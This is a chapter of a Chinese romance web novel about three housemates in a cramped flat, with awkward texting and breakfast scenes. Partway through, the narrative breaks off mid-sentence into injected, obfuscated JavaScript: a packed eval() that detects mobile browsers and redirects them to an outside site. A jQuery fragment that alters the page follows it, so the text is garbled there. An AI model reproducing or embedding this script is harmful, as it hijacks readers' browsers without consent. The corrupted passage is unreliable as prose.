63. 第 63 章

作品:《恶女训犬的基本法

    等安顿下来都是深夜了,这套房子的户型只有两个卧室,苍恃唯一能睡的就大厅,于是平日里祝译和槐翎窝着看电视的沙发只得分给他。


    祝译被他们这么一闹都累死了,切了点水果放桌面时已经哈欠连连,她还是强撑着拿出干净的被子和枕头铺了沙发,这下倒是显得沙发比床还舒服。


    槐翎倒也没有真的让苍恃穿自己的衣服,趁着苍恃洗澡的时候她逛到楼下商场,随便找了两套家居服就结账回来了,先将就一晚是不成问题的。


    苍恃看样子也有一段时间没有好好休息了,在祝译的影响下他也一直打着哈欠,泪花都在眼眶打转,三个人互道晚安后就关灯睡觉了。


    槐翎还是老样子把门窗都锁了一遍,她没什么困意,打开电脑做了一些调查,槐迩生病的消息不怎么传得出来,但是很明显最近皇宫的动作少了很多,恐怕他的病没那么简单。


    就像是突然整个世界都按了暂停键一样,一切都停了下来,这样的和平反而让她惶恐不安。


    不然她也不会不睡觉到处跑了,这不过是打发她难眠的时间罢了。


    她还记得自己在给了苍恃两拳后,苍恃那难以置信的表情,里面夹杂着惊讶,愤怒,还有难以察觉的欣喜。


    她本来是没放在心上的,看在苍恃帮了她逃出来的份上,她手下留了情,没下死手,但出乎意料的是苍恃在那之后就没反击了,他就这么静静承受槐翎的攻击,甚至被槐翎打得鼻青脸肿他都毫不在意。


    等两边都冷静下来后,苍恃就这么看着槐翎流了眼泪,他的泪水怎么都止不住,哭起来要多难看有多难看,跟五年前哭的时候一模一样的丑。


    槐翎实在不明白他为什么会哭,是因为她下手太重了吗?她自觉已经收了力,她也还没说什么有攻击性的话,这就惹得他哭了?


    在那之后苍恃说的第一句话是:“我终于见到你了。”


    他这话说得足够直白,槐翎先是怀疑听错了,然后理智和情感都在告诉槐翎大脑的分析结果,首先她没有听错,其次就是她想的那个意思。


    她头一次觉得自己的脑子有转不过来的时候,槐翎愣在了原地。等她反应的过来的时候,苍恃已经紧紧抱着她,带着一身的眼泪鼻涕,她能清楚听见苍恃的心脏跳得是有多快,好像是生命最后一刻的挣扎,拼了命地表达自己的生命力。


    他的身体很热,在夏天的夜晚热得将要把她融化,她就这么站在那里,彻底感受了一个久违的拥抱。


    再然后,几滴炽热的泪水滴在她身上,顺着她的脖子流进锁骨和胸口,渐渐消失在身体的某一处,他哭得一抽一抽的,几乎控制不了自己的情绪。


    槐翎是僵直在原地的,她不知道该做什么反应才合适,最终也没推开苍恃,按照往常,她该是马上推开才对的。


    抱了有多久不知道,总之先松开的人是苍恃,他的脸红扑扑的,眼睛都半睁着的,怎么看都不对劲。


    槐翎用手背量了一下他额头的温度,马上就明白过来这是发烧烧坏脑子了。


    这一切都可以解释清楚了,于是她装作什么事都没发生,买了些消炎药和退烧药留给他,就这样两个人默契地谁也没提起发生过什么。


    后来槐翎留了一部手机给他,这样有什么事情就能随时沟通。


    末了,她还加了句提醒:“里面没放定位器。”


    苍恃想起些往事,他只弯了弯嘴角,心想要是放了也不会怎么样,反正他是不会走远了。


    槐翎留手机给他是用来做必要的通讯,而苍恃并不这么认为,他居无定所,时不时会去C区的某个地方,有时还会去B区,只要看到什么他认为值得分享的,他都会拍下来给槐翎。


    槐翎一开始不明白什么意思,都一一回复了。


    苍恃:【流浪猫图】


    槐翎:它有害吗?需要清除?上面有摄像头?


    苍恃:【夕阳图】


    槐翎:黄昏时刻不适合动手,等晚点吧。


    苍恃:【大海图】


    槐翎:杀人抛尸扔海里容易被发现,加点负重更好。


    苍恃:……我不是这个意思。


    槐翎:哦。


    苍恃:【咖啡厅里的狗图】


    槐翎:狗。


    苍恃:【摇曳的树叶图】


    槐翎:树叶。


    苍恃:……


    槐翎:省略号。


    苍恃:今天过来吗?


    槐翎:邀约。


    槐翎:不好意思,不过来了,祝译要我陪她看电影。


    苍恃:看的什么电影?


    槐翎:不知道,看一半睡着了。


    苍恃:要和我看吗?


    槐翎:抱歉,现在不困。


    像是这样的对话实在太多,后来苍恃都快要放弃和槐翎说话了,他知道槐翎是故意的。


    她是聪明人,自然知道苍恃说的话代表了什么。


    面对她这个态度,苍恃也觉得无所谓了,渐渐的,连他自己都开始觉得自己脑子有病,当初竟然就因为槐雾一句话杀出重围,从A区跑出来差点连命都丢了。


    但是当他看到槐翎穿着拖鞋每天给他带雪糕和各种零食的时候,他还是很难控制自己的情绪,脑海里总有个声音说着:他其实已经不怪槐翎了。


    毕竟不是谁都能看见这样的槐翎,也不是谁都能受她照顾。


    他感觉自己就像一个见不得光的下水道的老鼠,只有阴天的时候才能跑出来喘喘气,片刻的喘息和一点小小的恩惠就能让他感觉活着又多了几分快乐。


    他不敢渴求太多,现在的他们和五年前没有太大差别,槐翎还是那个槐翎,做什么都游刃有余,苍恃还是原来的苍恃,一模一样的胆小。


    现在的他躺在沙发上,几乎是刚沾到枕头就沉沉睡去,空气里充斥着花香,甜滋滋的,有时候槐翎过来的时候身上也带着很细微的花香味,他总是趁槐翎不注意的时候偷偷闻她身上的香味。


    槐翎完成了调查后只觉得有些口渴,她啤酒喝多了,只能出去再接些凉水解渴。


    她走路很轻,在冰箱里接了一杯凉水,沙发上的苍恃睡得很沉,槐翎趁着月光盯着他的脸。


    他盖了张薄被,半个身子露在外面,手臂在月光下白得没有血色,上面有刚长好的伤疤,还有些快要消失的疤痕,靠近锁骨那一片有一道疤痕很长,直接延伸到他的胸膛。


    槐翎原本是对人的外貌没什么特别注意的,不过只要仔细一看,他长得还是挺好看的,如果说脸的天花板是殷肆的话,苍恃只比他差了一点。


    和殷肆那张可以用妖孽来形容的脸相比,苍恃的脸偏老实,就跟那种问他口袋里有几个子都会老实回答的老实人一样,一看就知道不会耍心计,事实上他也确实是这样的人,偏偏长着这样的脸的人跑去参军了。


    这不是等于把自己逼上绝路吗?槐翎是真的不明白他为什么要这么做。


    她边喝水,边盯着他的脸看,也不知道是她吞咽的声音还大,还是这月光晃了苍恃的脸,苍恃竟然缓缓地睁开了眼睛。


    他双目无神,完全没注意站在旁边的槐翎,揉着眼睛就下意识往槐翎的房间走去,因为动作太过自然,槐翎没能弄明白他是醒了还是没醒。


    这大半夜的进她房间是要干嘛啊?槐翎放下杯子跟了过去,像猫一样踮起脚尖悄无声息,苍恃推开房门,又在黑暗中摸索着找到卫生间。


    他没有开灯,在里面发出窸窸窣窣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728868|138747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的声音,槐翎也跟着进了卫生间,因为太黑,她从口袋里掏出个小手电,正想打开,下一秒就传来了水声。


    她拿着手电的手僵在原地,而后意识到自己有点太没边界感了。


    这声音一听就知道他在做什么,槐翎可不想看到不该看的,她迅速把手电放好,又垫着脚尖溜了出去,


    为了不让人发现她还没睡觉,她赶紧冲进自己的被窝,装作已经入睡的模样,但是那水声怎么还没有结束,尤其在安静的夜晚里特别明显,槐翎只能紧紧闭着眼睛,用被子捂住头试图隔绝掉声音。


    她都要快点忘记尴尬二字要怎么写了,槐翎快要把自己闷死的时候,终于听到冲水的声音,然后是打开水龙头清洗,又是一阵脚步声越来越远,最终她的房门被关上。


    再等了一会槐翎才坐了起来,她用力呼吸着,现在是彻底没了睡意。


    不管怎么样,她明天就要搬去一个三卧室的房子里,总不能再这样下去了!


    第二天一早,祝译就在厨房忙着研发新的菜单。


    苍恃还没有体验过祝译的厨艺,他还有些没睡够,坐在沙发上发呆,在看到槐翎从房间出来后,他才拿上牙刷进洗手间。


    槐翎又从里面听到了水声,她咬咬牙当做没听见,这件事到底要怎么提出来才好?!


    “你们都醒了?来吃早餐吧。”祝译心情很好,她哼着歌把早餐都端上来,槐翎早就猜到会有什么东西摆在桌上,她不慌不慌地拿出一杯果汁放在自己手边,然后自然地坐在主位。


    苍恃刚洗漱完出来,原本充满期待地坐在中间,然而在看到桌面上都有些什么东西后,他的表情很明显僵住了。


    “快吃吧,一会我去买菜。”祝译看着迟迟没有动手的二人,用温柔又如同恶鬼一样的眼神看着他们。


    槐翎先给自己灌了一口果汁,然后才像英勇就义一般闭眼塞了一块泛着绿色的炒蛋,她吃得又快又多,竟然没几分钟就吃完了。


    苍恃忍着想要吐出来的冲动,见槐翎这么勇猛,自己也学着她闭眼塞进嘴巴里。


    “好像蜂蜜放多了些…”祝译一边细细咀嚼着,一边回想自己的菜谱,“明天我再改良下配方。”


    “我做吧,以后都我做,行吗?”苍恃捂着嘴巴说,两滴冷汗流了下来,如果不是他意志力强大,恐怕现在已经倒下了。


    槐翎什么话都没说,她用果汁漱口去掉嘴巴里的怪味,优雅地用餐巾纸擦了擦嘴角,而后她酝酿已久的话语终于说了出来。


    “我们搬家吧。”


    “为什么?”“啊?”祝译和苍恃都纷纷转头看向她。


    “这房子太小了,我住不习惯,再租一套有三个卧室的吧。”


    说完,她用充满期待的的眼神看向祝译,她头一次这么希望得到祝译的认可。


    “可是,这个房子住得也挺舒服的。”没想到祝译撇了撇嘴,没有注意槐翎投来的眼神,“而且周围也很方便,我都跟菜市场的大姨混熟了,她说以后我去买菜都给打折。”


    槐翎握紧了拳头,只好看向苍恃,这对他来说也是一件好事,总不能一直睡沙发不是?


    “我倒是无所谓。”苍恃说道,“你们要搬要留都行。”


    “你要是一直睡沙发,那对身体太不好了。”槐翎笑眯眯地看着他,用着前所未有的甜美声线为他解释睡沙发的不好,苍恃还没听过她这么说话,耳朵悄悄地变红了。


    “睡沙发是不好。”祝译点头,“那你俩一起睡不就好了,那床不都是一米八宽的吗,睡三个人都行。”


    槐翎捏紧了手里的叉子,如果不是……算了,现在她就想把叉子塞祝译嘴里。


    “啊,这不好吧?”苍恃的脸也变红了。